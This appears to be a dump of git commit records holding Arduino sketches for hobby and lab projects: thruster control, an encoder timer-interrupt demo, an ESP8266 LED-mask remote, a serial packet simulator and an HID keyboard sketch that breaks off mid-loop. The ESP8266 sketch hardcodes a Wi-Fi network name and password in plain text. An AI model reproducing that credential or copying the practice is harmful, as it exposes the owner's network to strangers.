thrusterRear.writeMicroseconds(1500);\n \/\/thrusterRearLeft.writeMicroseconds(1500);\n }\n else {\n \/\/Thrusters signal\n thrusterFront.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n \/\/thrusterFrontLeft.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n thrusterRear.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n \/\/thrusterRearLeft.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n\n }\n}\n\nvoid power_Difference(){\n float y;\n float R;\n float L;\n if ((channel4 > 1470 & channel4 < 1515) & (channel2 > 1470 & channel2 < 1515)){\n thrusterRear.writeMicroseconds(1500);\n \/\/thrusterRearLeft.writeMicroseconds(1500);\n thrusterFront.writeMicroseconds(1500);\n \/\/thrusterFrontLeft.writeMicroseconds(1500);\n }\n else if ((channel4 > 1470 & channel4 < 1515) & (channel2 < 1470 || channel2 > 1515)) {\n thrusterRear.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n \/\/thrusterRearLeft.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n thrusterFront.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n \/\/thrusterFrontLeft.writeMicroseconds(map(channel2, 988, 2012, 1100, 1900));\n }\n else if ((channel4 < 1470 || channel4 > 1515) & (channel2 > 1470 & channel2 < 1515)) {\n R=map(channel4, 975, 2025, 1900, 1100);\n L=map(channel4, 975, 2025, 1100, 1900);\n thrusterRear.writeMicroseconds(R);\n \/\/thrusterRearLeft.writeMicroseconds(L);\n thrusterFront.writeMicroseconds(R);\n \/\/thrusterFrontLeft.writeMicroseconds(L);\n }\n else if ((channel4 < 1470) & (channel2 < 1470 || channel2 > 1515)) {\n y = (channel2-(channel2-1500)*(1500-channel4)\/525);\n R=map(channel2, 975, 2025, 1100, 1900);\n L=map(y, 975, 2025, 1100, 1900);\n thrusterRear.writeMicroseconds(R);\n \/\/thrusterRearLeft.writeMicroseconds(L);\n thrusterFront.writeMicroseconds(R);\n \/\/thrusterFrontLeft.writeMicroseconds(L);\n }\n else if ((channel4 > 1515) & (channel2 < 1470 || channel2 > 1515)) {\n y = (channel2-(channel2-1500)*(channel4-1500)\/525);\n R=map(y, 975, 2025, 1100, 1900);\n L=map(channel2, 975, 2025, 1100, 1900);\n thrusterRear.writeMicroseconds(R);\n \/\/thrusterRearLeft.writeMicroseconds(L);\n thrusterFront.writeMicroseconds(R);\n \/\/thrusterFrontLeft.writeMicroseconds(L);\n }\n}\n\nvoid autonomous_Mode(){\n Serial.println(\"Autonomous\");\n while(!Serial.available()) {}\n\n \/\/digitalWrite(LED_BUILTIN, HIGH);\n \/\/ serial read section\n char c;\n while (Serial.available() > 0) {\n char c = Serial.read();\n inputString += c; \n \/\/wait for the next byte, if after this nothing has arrived it means \n \/\/the text was not part of the same stream entered by the user\n delay(1); \n }\n\n if(inputString.length() > 0 && inputString[inputString.length() - 1] == '%'){\n \/\/Serial.println(inputString);\n \/\/digitalWrite(LED_BUILTIN, HIGH);\n if(inputString[0] == 'S') {\n if(inputString[2] == 'x') {\n String valLeft = inputString.substring(2,6);\n Serial.println(valLeft);\n int angle = valLeft.toInt();\n servo.write(angle);\n \/\/servoRight.write(angle); \n } \n }\n else if(inputString[0] == 'T') {\n if(inputString[2] == 'b') {\n String valLeft = inputString.substring(4,8);\n Serial.println(valLeft);\n int power = valLeft.toInt();\n thrusterRear.writeMicroseconds(power);\n \/\/servoRight.write(angle); \n }else if(inputString[2] == 'f') {\n String valLeft = inputString.substring(4,8);\n Serial.println(valLeft);\n int power = valLeft.toInt();\n thrusterFront.writeMicroseconds(power);\n \/\/servoRight.write(angle); \n }\n \n }\n\n \/\/Delete Previous Message\n inputString = \"\";\n }\n}\n\nvoid loop() {\n read_values();\n select();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoFiles\/testing\/manualAutonomous2\/manualAutonomous2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"14001dd75de61cabba865e8c234b4dc8405ef28b","subject":"Create quarterturn_withinterrupt.ino","message":"Create quarterturn_withinterrupt.ino","repos":"jdmgroup\/robotchemistry","old_file":"encoder\/quarterturn_withinterrupt.ino","new_file":"encoder\/quarterturn_withinterrupt.ino","new_contents":"\/*\n\n Encoder 1\/4 Turn Demo (Robot Chemistry 4.IS8)\n\n James H. Bannock and John C. de Mello\n\n Department of Chemistry,\n Imperial College London\n\n Version 2.00 (Interrupt-driven)\n\n Created: Feb 2015\n Updated: Nov 2016\n\n ---\n\n Requirements:\n\n Optical quadrature encoder with resolution of 500 counts per revolution attached to Arduino Pin 5.\n\n ---\n\n Timer Notes:\n\n Each timer has two 8-bit registers TCCRxA and TCCRxB which store the configurable setup. (TCCRnX = Timer\/Counter Control Register X for Timer n)).\n\n (All the following terms (such as TCCR1A etc.) are inbuilt macros (like the #define operation) and represent a number - either a register value or a counter value).\n\n Arduinos support multiple timers\/counters with varying resolutions.\n\n The Uno has three timers (Timer0, Timer1 and Timer2).\n\n Timer1 is a 16 bit timer (i.e. can support a counter value between 0 and 65535 (2^16-1)).\n\n (Timer0 and Timer2 are 8-bit timers and therefore only support a max. counter value of 255).\n\n TCNT1 (Timer\/Counter Register for Timer1) stores the current value of the counter.\n\n Here we use a simple implementation of the counter where TCNT1 stores the number of signals received from a quadrature optical encoder.\n\n To achieve this we set the timer\/counter to a configuration where the timer\/counter source is an external pin (the encoder), which is fixed on Pin5 for Timer1 on the Uno.\n\n Note that because we are using the hardware timer we do not need to write: pinMode(5, INPUT_PULLUP);\n\n The necessary configuration bits we need to setup the counter are in the TCCR1B register.\n\n We must set the Clock Select (CS) bits to either:\n\n - Falling-edge detection (5->0V): CS12 = CS11 = 1, CS10 = 0; or\n - Rising-edge detection (0->5V): CS12 = CS11 = CS10 = 1\n\n When TCNT1 reaches a value of 125 (=1\/4 turn on the motor for a 500 count encoder) an if-statement causes the LED on the Arduino to flash and we reset TCNT1 to 0.\n\n Note that this implementation avoids using an interrupt service routine (ISR) -> see equivalent example for interrupt version\n*\/\n\nvoid setup() {\n\n \/\/Serial.begin(9600);\n\n pinMode(13, OUTPUT); \/\/ activate the LED pin\n\n \/\/ switch off interrupts to avoid conflict while changing settings\n noInterrupts();\n\n \/\/ reset timer\/counter registers A and B.\n TCCR1A = 0;\n TCCR1B = 0;\n\n \/\/ set the counter to external Timer1 source Pin5 and configure for rising-edge detection.\n TCCR1B |= (1 << CS12); \/\/ set CS12 HIGH - bit 2 (4) - equally you could write TCCR1B |= 4;\n TCCR1B |= (1 << CS11); \/\/ set CS11 HIGH - bit 1 (2)\n TCCR1B |= (1 << CS10); \/\/ set CS10 HIGH - bit 0 (1)\n\n \/\/Serial.print(\"TCCR1B (in decimal): \");\n \/\/Serial.println(TCCR1B);\n \/\/Serial.print(\"TCCR1B (in binary): \");\n \/\/Serial.println(TCCR1B, BIN);\n\n \/\/TCCR1B &= ~(1 << CS12);\n\n \/\/Serial.print(\"TCCR1B: \");\n \/\/Serial.println(TCCR1B);\n\n \/*\n Nptes:\n\n X |= Y is shorthand for X = X OR Y (in binary this is effectively an addition operation).\n\n e.g. suppose X = 2 (B00000010) and Y = 4 (B00000100) then X |= Y would set X = B00000110 => 6\n\n Y |= (1 << X) is shorthand for setting bit X in byte Y to a value of 1, and equates to a decimal addition of 2^X.\n\n e.g. take line 71, CS12 = 2 so if Y = 0 intially then the operation has the effect of setting bit 2 to 1, which equates to a decimal value of 4 (2^2)\n\n Note that if you want to set bit X in byte Y to zero then the OR statement may not work if bit X is set at 1.\n\n (If you want to set bit X to zero then you can use: Y &= ~(1 << X), where & is an AND operation and ~ is a NOT operation, see commented limes 80-83)\n\n If you uncomment the Serial commands on lines 59 and 75-78 and upload to an Arduino you will see that TCCR1B = 7.\n\n This is because we sets bits 0 (value 2^0 = 1), 1 (value 2^1 = 2) and 2 (value 2^2 = 4) to 1, which sums to 7.\n *\/\n\n \/\/ set counter value to trigger interrupt when 125 signals from the encoder have been recieved\n OCR1A = 125; \/\/ Output Compare Register A on Timer1 (OCR1A)\n\n \/\/ reset the counter\n TCNT1 = 0;\n\n \/\/ set TCNT1 to reset when TCNT1 = OCR1A\n TCCR1B |= (1 << WGM12); \/\/ set counter to Clear Timer on Compare match (CTC) mode (WGM = waveform generation mode)\n\n \/\/ enable the ISR function call when TCNT1 = OCR1A\n TIMSK1 |= (1 << OCIE1A); \/\/ enable the Output Compare Interrupt Enable flag for Timer1, Channel A (OCIE1A) in the Timer\/Counter Interrupt Mask Register for Timer1 (TIMSK1)\n\n \/\/ switch on interrupts again\n interrupts();\n}\n\nISR(TIMER1_COMPA_vect) { \/\/ the OCR1A register calls the COMPA routine (i.e. OCRnX calls TIMERn_COMPX_vect in CTC mode)\n\n \/\/ this routine must be as quick as possible to avoid timing issues\n \/\/ while the program is inside the ISR the interrupts tools are disabled, which in this application runs the risk of missing further encoder signals.\n\n digitalWrite(13, HIGH); \/\/ LED on\n delay(100); \/\/ wait a bit\n digitalWrite(13, LOW); \/\/ LED off\n\n \/\/ for debugging interrupts it can be useful to print to the serial monitor so that you know when your interrupt triggers\n \/\/Serial.println(\"Interrupt\");\n}\n\nvoid loop() {\n \/\/ now we don't need anything in the main loop\n\n \/\/ print to serial port current value of TCNT1 counter\n \/\/Serial.println(TCNT1);\n \/\/delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'encoder\/quarterturn_withinterrupt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"198fca3cfa4da2a35f07c5f2de19b4a573425526","subject":"changed variable names","message":"changed variable names\n\nx and y are not good variable names, we should change them to more\nmeaningful names.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Distance Sensor\/DistanceSensorATtiny\/DistanceSensorATtiny.ino","new_file":"Distance Sensor\/DistanceSensorATtiny\/DistanceSensorATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Distance' did not match any file(s) known to git\nerror: pathspec 'Sensor\/DistanceSensorATtiny\/DistanceSensorATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f70b2b9e5ff8cd6c266627a2aaede5ebc63c0488","subject":"Create ESP8266-NRF24L01-Remote.ino","message":"Create ESP8266-NRF24L01-Remote.ino","repos":"Arudinne\/RGB-Wrench-Mask","old_file":"ESP8266\/ESP8266-NRF24L01-Remote\/ESP8266-NRF24L01-Remote.ino","new_file":"ESP8266\/ESP8266-NRF24L01-Remote\/ESP8266-NRF24L01-Remote.ino","new_contents":"#include <SPI.h>\n#include <nRF24L01.h>\n#include <RF24.h>\n\n#include <Esp.h>\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\n#include <Keypad_MC17.h>\n#include <Keypad.h>\n#include <Wire.h>\n\n\/\/ Keypad Configuration\n\n#define I2CADDR 0x20\n\nconst byte ROWS = 7; \/\/four rows\nconst byte COLS = 5; \/\/five columns\n\/\/define the cymbols on the buttons of the keypads\nchar keys[ROWS][COLS] = {\n {'0','0','0','C','3'},\n {'0','J','9','H','L'},\n {'B','K','D','4','7'},\n {'G','W','8','A','O'},\n {'R','N','5','0','6'},\n {'0','M','I','F','2'},\n {'0','0','0','E','1'}\n};\nbyte rowPins[ROWS] = {0, 1, 2, 3, 4, 5, 6}; \/\/connect to the row pinouts of the keypad\nbyte colPins[COLS] = {12, 11, 10, 9, 8}; \/\/connect to the column pinouts of the keypad\n\n\/\/initialize an instance of class NewKeypad\nKeypad_MC17 customKeypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS, I2CADDR);\n\n\/\/ NRF24L01+ Radio Configuration\n\nRF24 radio(16, 15);\nbyte address[6] = \"01337\";\n\n\/\/ Wi-Fi Configuration\n\nMDNSResponder mdns;\nconst char *ssid = \"Destiny Ascension\";\nconst char *password = \"0bgstsma24\";\n\n\/\/ HTTP Server Configuration - Part 1\n\nESP8266WebServer server(80);\n\nString webPage = \"\";\n\n\nvoid setup()\n{\n\n\/\/ HTTP Server Configuration - Part 2\n\/\/ Build the web page\n webPage += \"<HEAD>\";\n webPage +=\"<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"15;URL=\/\\\">\"; \n webPage += \"<title>Wrench Mask LED Control<\/title>\";\n webPage += \"<\/HEAD>\";\n webPage += \"<body bgcolor=black text=white>\";\n webPage += \"<center>\";\n webPage += \"<h1>Wrench Mask LED Control<\/h1>\";\n\/\/ Color Options\n webPage += \"<p><a href=\\\"Red\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:red\\\">RED<\/button><\/a>\";\n webPage += \"<a href=\\\"Green\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:green\\\">GREEN<\/button><\/a>\";\n webPage += \"<a href=\\\"Blue\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:blue\\\">BLUE<\/button><\/a>\";\n webPage += \"<a href=\\\"White\\\"><button style=\\\"height:100px;width:250px;font-size:50px;color:white\\\">WHITE<\/button><\/a><\/p>\";\n\/\/ Face Options 1-3\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face001\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">X_X<\/button><\/a>\";\n webPage += \"<a href=\\\"Face002\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">>_<<\/button><\/a>\";\n webPage += \"<a href=\\\"Face003\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">^_^<\/button><\/a>\";\n webPage += \"<\/p>\";\n\/\/ Face Options 4-6\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face004\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">@_@<\/button><\/a>\";\n webPage += \"<a href=\\\"Face005\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">\/_\\\\<\/button><\/a>\";\n webPage += \"<a href=\\\"Face006\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">?_?<\/button><\/a>\";\n webPage += \"<\/p>\";\n\/\/ Face Options 7-9\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face007\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">O_o<\/button><\/a>\";\n webPage += \"<a href=\\\"Face008\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">\\\\_\/<\/button><\/a>\";\n webPage += \"<a href=\\\"Face009\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">Z_Z<\/button><\/a>\";\n webPage += \"<\/p>\";\n\/\/ Face Options 10-12\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face010\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">#_#<\/button><\/a>\";\n webPage += \"<a href=\\\"Face011\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">=_=<\/button><\/a>\";\n webPage += \"<a href=\\\"Face012\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">~_^<\/button><\/a>\";\n webPage += \"<\/p>\";\n\/\/ Face Options 13-15\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face013\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">9_9<\/button><\/a>\";\n webPage += \"<a href=\\\"Face014\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">!_!<\/button><\/a>\";\n webPage += \"<a href=\\\"Face015\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">*_*<\/button><\/a>\";\n webPage += \"<\/p>\";\n\/\/ Face Options 16-18\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face016\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">'_'<\/button><\/a>\";\n webPage += \"<a href=\\\"Face017\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">;_;<\/button><\/a>\";\n webPage += \"<a href=\\\"Face018\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">.)_.)<\/button><\/a>\";\n webPage += \"<\/p>\";\n\/\/ Face Options 19-21\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face019\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">(._(.<\/button><\/a>\";\n webPage += \"<a href=\\\"Face020\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">o_O<\/button><\/a>\";\n webPage += \"<a href=\\\"Face021\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">._.<\/button><\/a>\";\n webPage += \"<\/p>\";\n\/\/ Face Options 22-23\n webPage += \"<p>\";\n webPage += \"<a href=\\\"Face022\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\">⌐_⌐<\/button><\/a>\";\n webPage += \"<a href=\\\"Face023\\\"><button style=\\\"height:100px;width:250px;font-size:50px\\\"><3_<3<\/button><\/a>\";\n webPage += \"<\/p>\"; \n\n\/\/ Initialize all the things\n\n delay(1000);\n Wire.begin( );\n customKeypad.begin( );\n Serial.begin(115200);\n Serial.println(\"Starting Remote\");\n Serial.println(\"\");\n Serial.print(\"Initializing NRF24 Radio...\");\n radio.begin();\n radio.openWritingPipe(address); \n radio.setPALevel(RF24_PA_HIGH);\n radio.stopListening();\n Serial.println(\"Done\");\n\/\/ radio.printDetails();\n Serial.print(\"Initializing WiFi Radio..\");\n WiFi.begin(ssid, password);\n\/\/ Wait for connection\n while (WiFi.status() != WL_CONNECTED) \n {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"Done\");\n Serial.println(\"\");\n Serial.print(\"Connected to: \");\n Serial.println(ssid);\n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n Serial.println(\"\");\n if (mdns.begin(\"esp8266\", WiFi.localIP())) \n {\n Serial.println(\"MDNS responder started\");\n }\n Serial.println(\"\");\n Serial.println(\"Remote Startup Complete\");\n\n\/\/ HTTP Server Configuration - Part 3\n\n server.on(\"\/\", []()\n {\n server.send(200, \"text\/html\", webPage);\n });\n server.on(\"\/Red\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"HTTP Button Press Detected\");\n Serial.println(\"Button: RED\");\n Serial.println(\"Setting Color to Red\");\n char ColorRed = 'R';\n radio.write(&ColorRed, sizeof(ColorRed));\n });\n server.on(\"\/Green\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"HTTP Button Press Detected\");\n Serial.println(\"Button: GREEN\");\n Serial.println(\"Setting Color to Green\");\n char ColorGreen = 'G';\n radio.write(&ColorGreen, sizeof(ColorGreen));\n });\n server.on(\"\/Blue\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"HTTP Button Press Detected\");\n Serial.println(\"Button: BLUE\");\n Serial.println(\"Setting Color to Blue\");\n char ColorBlue = 'B';\n radio.write(&ColorBlue, sizeof(ColorBlue));\n });\n server.on(\"\/White\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"HTTP Button Press Detected\");\n Serial.println(\"Button: WHITE\");\n Serial.println(\"Setting Color to White\");\n char ColorWhite = 'W';\n radio.write(&ColorWhite, sizeof(ColorWhite));\n });\n server.on(\"\/Face001\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 001\");\n char Face001 = '1' ;\n radio.write(&Face001, sizeof(Face001));\n });\n server.on(\"\/Face002\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 002\");\n char Face002 = '2';\n radio.write(&Face002, sizeof(Face002));\n });\n server.on(\"\/Face003\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 003\");\n char Face003 = '3';\n radio.write(&Face003, sizeof(Face003));\n });\n server.on(\"\/Face004\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 004\");\n char Face004 = '4';\n radio.write(&Face004, sizeof(Face004));\n });\n server.on(\"\/Face005\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 005\");\n char Face005 = '5';\n radio.write(&Face005, sizeof(Face005));\n });\n server.on(\"\/Face006\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 006\");\n char Face006 = '6';\n radio.write(&Face006, sizeof(Face006));\n });\n server.on(\"\/Face007\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 007\");\n char Face007 = '7';\n radio.write(&Face007, sizeof(Face007));\n });\n server.on(\"\/Face008\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 008\");\n char Face008 = '8';\n radio.write(&Face008, sizeof(Face008));\n });\n server.on(\"\/Face009\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 009\");\n char Face009 = '9';\n radio.write(&Face009, sizeof(Face009));\n });\n server.on(\"\/Face010\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 010\");\n char Face010 = '0';\n radio.write(&Face010, sizeof(Face010));\n });\n server.on(\"\/Face011\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 011\");\n char Face011 = 'A';\n radio.write(&Face011, sizeof(Face011));\n });\n server.on(\"\/Face012\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 012\");\n char Face012 = 'I';\n radio.write(&Face012, sizeof(Face012));\n });\n server.on(\"\/Face013\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 013\");\n char Face013 = 'C';\n radio.write(&Face013, sizeof(Face013));\n });\n server.on(\"\/Face014\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 014\");\n char Face014 = 'D';\n radio.write(&Face014, sizeof(Face014));\n });\n server.on(\"\/Face015\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 015\");\n char Face015 = 'E';\n radio.write(&Face015, sizeof(Face015));\n });\n server.on(\"\/Face016\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 016\");\n char Face016 = 'F';\n radio.write(&Face016, sizeof(Face016));\n });\n server.on(\"\/Face017\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 017\");\n char Face017 = 'H';\n radio.write(&Face017, sizeof(Face017));\n });\n server.on(\"\/Face018\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 018\");\n char Face018 = 'J';\n radio.write(&Face018, sizeof(Face018));\n });\n server.on(\"\/Face019\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 019\");\n char Face019 = 'K';\n radio.write(&Face019, sizeof(Face019));\n });\n server.on(\"\/Face020\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 020\");\n char Face020 = 'L';\n radio.write(&Face020, sizeof(Face020));\n });\n server.on(\"\/Face021\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 021\");\n char Face021 = 'M';\n radio.write(&Face021, sizeof(Face021));\n });\n server.on(\"\/Face022\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 022\");\n char Face022 = 'N';\n radio.write(&Face022, sizeof(Face022));\n });\n server.on(\"\/Face023\", []()\n {\n server.send(200, \"text\/html\", webPage);\n Serial.println(\"Drawing Face 023\");\n char Face023 = 'O';\n radio.write(&Face023, sizeof(Face023));\n });\n server.begin();\n Serial.println(\"HTTP server started\");\n}\n \nvoid loop(){\n server.handleClient();\n char key = customKeypad.getKey();\n \n if (key != NO_KEY){\n Serial.println(\"Keypad Button Press Detected\");\n Serial.print(\"Button : \");\n Serial.println(key);\n radio.write(&key, sizeof(key));\n if (key == '1'){\n Serial.println(\"Drawing Face 001\");\n }\n else if(key == '2'){\n Serial.println(\"Drawing Face 002\");\n }\n else if(key == '3'){\n Serial.println(\"Drawing Face 003\");\n }\n else if(key == '4'){\n Serial.println(\"Drawing Face 004\");\n }\n else if(key == '5'){\n Serial.println(\"Drawing Face 005\");\n }\n else if(key == '6'){\n Serial.println(\"Drawing Face 006\");\n }\n else if(key == '7'){\n Serial.println(\"Drawing Face 007\");\n }\n else if(key == '8'){\n Serial.println(\"Drawing Face 008\");\n }\n else if(key == '9'){\n Serial.println(\"Drawing Face 009\");\n }\n else if(key == '0'){\n Serial.println(\"Drawing Face 010\");\n }\n else if(key == 'A'){\n Serial.println(\"Drawing Face 011\");\n }\n else if(key == 'I'){\n Serial.println(\"Drawing Face 011\");\n }\n else if(key == 'C'){\n Serial.println(\"Drawing Face 013\");\n }\n else if(key == 'D'){\n Serial.println(\"Drawing Face 014\");\n }\n else if(key == 'E'){\n Serial.println(\"Drawing Face 015\");\n }\n else if(key == 'F'){\n Serial.println(\"Drawing Face 016\");\n }\n else if(key == 'H'){\n Serial.println(\"Drawing Face 017\");\n }\n else if(key == 'J'){\n Serial.println(\"Drawing Face 018\");\n }\n else if(key == 'K'){\n Serial.println(\"Drawing Face 019\");\n }\n else if(key == 'L'){\n Serial.println(\"Drawing Face 020\");\n }\n else if(key == 'M'){\n Serial.println(\"Drawing Face 021\");\n }\n else if(key == 'N'){\n Serial.println(\"Drawing Face 022\");\n }\n else if(key == 'O'){\n Serial.println(\"Drawing Face 023\");\n }\n else if(key == 'R'){\n Serial.println(\"Setting Color to Red\");\n }\n else if(key == 'G'){\n Serial.println(\"Setting Color to Greed\");\n }\n else if(key == 'B'){\n Serial.println(\"Setting Color to Blue\");\n }\n else if(key == 'W'){\n Serial.println(\"Setting Color to White\");\n }\n }\n yield();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266\/ESP8266-NRF24L01-Remote\/ESP8266-NRF24L01-Remote.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6686e71bb3460c586e5f0c03dc07a649ba1baf5b","subject":"[arduino] Testing program for arduino","message":"[arduino] Testing program for arduino\n\nOpen Smart Mesh protocol messages are sent by this arduino message on USB Serial\n(usually \/dev\/ttyACM0 for default linux port)\n\nUse arduino.org to compile and upload the program. Very easy.\n- Connect the arduino UNO on your PC\n- Install and start the arduino suite on your pc\n- Open the file: arduino-test\/osmesh_packet_simulator\/osmesh_packet_simulator.ino\n- Click on upload \"->\"\n\nAfter successful upload your arduino will be send one message every about-5-secs.\n","repos":"opensmartmesh\/osmesh-logger,opensmartmesh\/osmesh-logger,opensmartmesh\/osmesh-server","old_file":"arduino-test\/osmesh_packet_simulator\/osmesh_packet_simulator.ino","new_file":"arduino-test\/osmesh_packet_simulator\/osmesh_packet_simulator.ino","new_contents":"\/*\n OpenSmartMesh packet simulator sending osm strings on serial \n *\/\n\n\/\/ String declaration for msg\nString msg0, msg;\n\nvoid setup() {\n \/\/ initialize serial at 115200 bps\n Serial.begin(115200);\n while (!Serial) {\n ; \/\/ wait needed for native USB port only\n }\n\n\n msg0 = String(\"id:\");\n msg = String();\n}\n\nvoid loop() {\n long dTime = 0;\n while (true)\n {\n dTime = millis() + 5000;\n msg = msg0 + dTime + \",dataA2X:\";\n msg = msg + (millis() - dTime) + \"\\r\\n\";\n Serial.print(msg);\n while (millis() < dTime)\n {\n ;\/\/ do nothing, wait\n }\n }\n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-test\/osmesh_packet_simulator\/osmesh_packet_simulator.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b7d1062243d5e3dce7ef7f24c84e010178f61afe","subject":"Code Rewrite","message":"Code Rewrite\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"db0473fd72de5105e72b109f91a7e6f04809c001","subject":"arduino keyboard","message":"arduino keyboard\n","repos":"medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego,medialab-prado\/Interactivos-15-Ego","old_file":"arduino\/keyboard.ino","new_file":"arduino\/keyboard.ino","new_contents":"\n#include \"Keyboard.h\"\n#include \"Mouse.h\"\n\n\/\/ set pin numbers for the five buttons:\nconst int killSwitch = 13;\n\n\nvoid setup() { \/\/ initialize the buttons' inputs:\n pinMode(killSwitch, INPUT);\n digitalWrite(killSwitch, HIGH);\n \/\/ initialize mouse control:\n Mouse.begin();\n Keyboard.begin();\n}\n\nvoid loop() {\ndelay(100);\n\/\/ only do the keyboard\/mouse interaction if killswitch is connected to\nground...\n if(digitalRead(killSwitch)==LOW) {\n Mouse.click(MOUSE_LEFT);\n Mouse.click(MOUSE_LEFT);\n Mouse.move(0, -40);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.click(MOUSE_LEFT);\n Mouse.move(0, 40);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.move(-40, 0);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n delay(50);\n Keyboard.releaseAll();\n Mouse.click(MOUSE_LEFT);\n Mouse.move(40, 0);\n Keyboard.press('w');\n delay(100);\n Keyboard.press(' ');\n Mouse.click(MOUSE_LEFT);\n delay(50);\n Keyboard.releaseAll();\n 